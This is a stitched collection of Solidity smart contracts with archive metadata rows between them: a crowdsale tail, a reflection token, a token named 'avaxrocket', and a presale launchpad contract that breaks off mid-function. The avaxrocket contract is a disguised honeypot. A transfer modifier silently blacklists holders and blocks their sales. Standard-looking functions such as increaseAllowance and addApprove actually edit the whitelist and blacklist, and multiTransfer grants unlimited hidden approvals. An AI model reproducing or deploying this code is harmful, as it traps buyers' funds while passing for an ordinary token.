_percents = percentsTeamTokens;//20
} else if(curState == 4) {
_percents = percentsTeamTokens.add(percentsBountySecondTokens);//20+5
} else if(curState == 3) {
_percents = percentsTeamTokens.add(percentsBountySecondTokens).add(percentsOlympicTokens);//20+5+15
} else if(curState == 2) {
_percents = percentsTeamTokens.add(percentsBountySecondTokens).add(percentsOlympicTokens);//20+5+15
} else if(curState == 1) {
_percents = _percents.sub(percentsPreSaleTokens);//70
}
return _totalSupply.mul(_percents).div(100);
}
function onBalance() public view returns (uint) {
return token.balanceOf(this);
}
function availableTokensOnCurrentStage() public view returns (uint) {
uint _currentHolder = token.balanceOf(this);
uint _minTokens = holdTokensOnStage();
return _currentHolder.sub(_minTokens);
}
function getStatusInfo() public view returns (string) {
uint curState = getStatus();
if(now > endCrowdsaleDate) {
return "Crowdsale is over";
} else if(curState == 5) {
return "Now Bounty #2 token distribution is active";
} else if(curState == 4) {
return "Now Olympic Special (ICO #2) is active";
} else if(curState == 3) {
return "Now Bounty #1 token distribution is active";
} else if(curState == 2) {
return "Now ICO #1 is active";
} else if(curState == 1) {
return "Now Pre-ICO is active";
} else {
return "The sale of tokens is stopped";
}
}
function setStatus(uint8 newStatus) public onlyOwner {
require(newStatus == 1 || newStatus == 0);
statusPreSale = newStatus;
}
function burnTokens() public onlyOwner {
require(now > endCrowdsaleDate);
uint _totalSupply = token.totalSupply();
uint _teamTokens = _totalSupply.mul(percentsTeamTokens).div(100);
token.transfer(restricted, _teamTokens);
uint _burnTokens = token.balanceOf(this);
token.burn(_burnTokens);
}
function sendTokens(address to, uint tokens) public onlyOwner {
uint curState = getStatus();
require(curState == 5 || curState == 3);
uint _minTokens = holdTokensOnStage();
require(token.balanceOf(this).sub(tokens) >= _minTokens);
token.transfer(to, tokens);
}
function createTokens() public saleIsOn isUnderHardCap checkMinAmount payable {
uint tokens = calculateTokens(msg.value);
multisig.transfer(msg.value);
token.transfer(msg.sender, tokens);
}
function() external payable {
createTokens();
}
}
| 187,174 | 12,007 |
986cd82ea55754d56ded8d62cfd72d869f3710378adb3fa966b4a3882874485f
| 18,819 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/c3/C3caC54c915916FFd7d4172500dfC9143C9A19CF_Crank.sol
| 4,183 | 15,789 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Crank is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'Crank';
string private _symbol = 'Crank';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 322,890 | 12,008 |
04c680153ff3d678e43cadc91b65017c9e79a498c22412bcebd0f0af00cfaad2
| 29,572 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a3/a38a4ecb19982ad05c00f0a2419ccdd228e2e5b4_avaxrocket.sol
| 3,392 | 12,615 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract avaxrocket is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 84,379 | 12,009 |
c90871e0b01502d3ff847907da1cb075aba4b241bda1f7b2e8f48e59608bf173
| 14,808 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/90/9001843401acabaaa588fde9521eafaf9bd7440b_Proxy.sol
| 3,673 | 13,272 |
pragma solidity ^0.6.0;
// SPDX-License-Identifier: MIT
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
interface IToken {
function decimals() external view returns (uint256);
function transfer(address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
function balanceOf(address tokenOwner) external view returns (uint256 balance);
function approve(address _spender, uint256 _amount) external returns (bool success);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface MetaStake {
function deposit(uint, uint) external;
function depositFor(uint,uint,address) external;
function withdraw(uint, uint) external;
function userInfo(uint, address) external view returns (uint, uint);
}
contract MetaswapLaunchpad is Owned {
using SafeMath for uint256;
bool public isPresaleOpen;
address public tokenAddress; // buy
uint256 public tokenDecimals = 18;
// address public _crypto = 0x55d398326f99059fF775485246999027B3197955; // USDT // sell
address public _crypto = 0xDFCd0b91AE2BB34a90D9b4970Dc113DFaf25004d; // testnet Cool // sell
uint256 public tokenRatePerEth = 0;
uint256 public tokenRatePercrypto = 0;
uint256 public rateDecimals = 0;
uint256 public minEthLimit = 1e17; // 0.1 BNB
uint256 public maxEthLimit = 10e18; // 10 BNB
uint256 public BUSDminEthLimit = 1e17; // 0.1 BNB
uint256 public BUSDmaxEthLimit = 10e18;
uint256 public soldTokens=0;
uint256 public intervalDays;
uint256 public endTime = 2 days;
bool public isClaimable = false;
bool public isWhitelisted = false;
bool public iscrypto = false;
uint256 public hardCap = 10 ether;
uint256 public BUSDhardCap = 10 ether;
uint256 public earnedCap =0;
uint256 public BUSDearnedCap =0;
uint256 public whitelistLength = 0;
address public Staker;
uint256 public currentPoolId = 0;
mapping(address => uint256) public usersInvestments;
mapping(address => uint256) public usersBUSDInvestments;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public whitelistedAddresses;
function startPresale(uint256 numberOfdays) external onlyOwner{
require(!isPresaleOpen, "Presale is open");
intervalDays = numberOfdays.mul(1 days);
endTime = block.timestamp.add(intervalDays);
isPresaleOpen = true;
isClaimable = false;
}
function closePresale() external onlyOwner{
require(isPresaleOpen, "Presale is not open yet or ended.");
isPresaleOpen = false;
}
function setTokenAddress(address token) external onlyOwner {
tokenAddress = token;
}
function setCurrentPoolId(uint256 _pid) external onlyOwner {
currentPoolId = _pid;
}
function setTokenDecimals(uint256 decimals) external onlyOwner {
tokenDecimals = decimals;
}
function setCryptoAddress(address token) external onlyOwner {
_crypto = token;
}
function setMinEthLimit(uint256 amount) external onlyOwner {
minEthLimit = amount;
}
function setBUSDMinEthLimit(uint256 amount) external onlyOwner {
BUSDminEthLimit = amount;
}
function setMaxEthLimit(uint256 amount) external onlyOwner {
maxEthLimit = amount;
}
function setBUSDMaxEthLimit(uint256 amount) external onlyOwner {
BUSDmaxEthLimit = amount;
}
function setTokenRatePerEth(uint256 rate) external onlyOwner {
tokenRatePerEth = rate;
}
function setTokenRatePercrypto(uint256 rateBUSD) external onlyOwner {
tokenRatePercrypto = rateBUSD;
}
function setRateDecimals(uint256 decimals) external onlyOwner {
rateDecimals = decimals;
}
function getUserInvestments(address user) public view returns (uint256){
return usersInvestments[user];
}
function getUserBUSDInvestments(address user) public view returns (uint256){
return usersBUSDInvestments[user];
}
function getUserClaimbale(address user) public view returns (uint256){
return balanceOf[user];
}
function addWhitelistedAddress(address _address, uint256 _allocation) external onlyOwner {
whitelistedAddresses[tokenAddress][_address] = _allocation;
}
function addMultipleWhitelistedAddresses(address[] calldata _addresses, uint256[] calldata _allocation) external onlyOwner {
for (uint i=0; i<_addresses.length; i++) {
whitelistLength = whitelistLength.add(1);
whitelistedAddresses[tokenAddress][_addresses[i]] = _allocation[i];
}
}
function removeWhitelistedAddress(address _address) external onlyOwner {
whitelistedAddresses[tokenAddress][_address] = 0;
whitelistLength = whitelistLength.sub(1);
}
receive() external payable{
uint256 amount = msg.value;
if(block.timestamp > endTime || earnedCap.add(amount) > hardCap)
isPresaleOpen = false;
require(isPresaleOpen, "Presale is not open.");
if(isWhitelisted){
require(whitelistedAddresses[tokenAddress][msg.sender] > 0, "you are not whitelisted");
require(whitelistedAddresses[tokenAddress][msg.sender] >= amount, "amount too high");
require(usersInvestments[msg.sender].add(amount) <= whitelistedAddresses[tokenAddress][msg.sender], "Maximum purchase cap hit");
}else{
require(usersInvestments[msg.sender].add(amount) <= maxEthLimit
&& usersInvestments[msg.sender].add(amount) >= minEthLimit,
"Installment Invalid.");
}
require(earnedCap.add(amount) <= hardCap,"Hard Cap Exceeds");
require((IToken(tokenAddress).balanceOf(address(this))).sub(soldTokens) > 0 ,"No Presale Funds left");
uint256 tokenAmount = getTokensPerEth(amount);
require((IToken(tokenAddress).balanceOf(address(this))).sub(soldTokens) >= tokenAmount ,"No Presale Funds left");
// require(msg.value),"Insufficient balance from User");
balanceOf[msg.sender] = balanceOf[msg.sender].add(tokenAmount);
soldTokens = soldTokens.add(tokenAmount);
usersInvestments[msg.sender] = usersInvestments[msg.sender].add(amount);
earnedCap = earnedCap.add(amount);
payable(owner).transfer(amount);
IToken(tokenAddress).approve(Staker,soldTokens);
}
function buyToken(uint256 amount) public{
if(block.timestamp > endTime || BUSDearnedCap.add(amount) > BUSDhardCap)
isPresaleOpen = false;
require(isPresaleOpen, "Presale is not open.");
if(isWhitelisted){
require(whitelistedAddresses[tokenAddress][msg.sender] > 0, "you are not whitelisted");
require(whitelistedAddresses[tokenAddress][msg.sender] >= amount, "amount too high");
require(usersBUSDInvestments[msg.sender].add(amount) <= whitelistedAddresses[tokenAddress][msg.sender], "Maximum purchase cap hit");
}else{
require(usersBUSDInvestments[msg.sender].add(amount) <= BUSDmaxEthLimit
&& usersBUSDInvestments[msg.sender].add(amount) >= BUSDminEthLimit,
"Installment Invalid.");
}
require(BUSDearnedCap.add(amount) <= BUSDhardCap,"Hard Cap Exceeds");
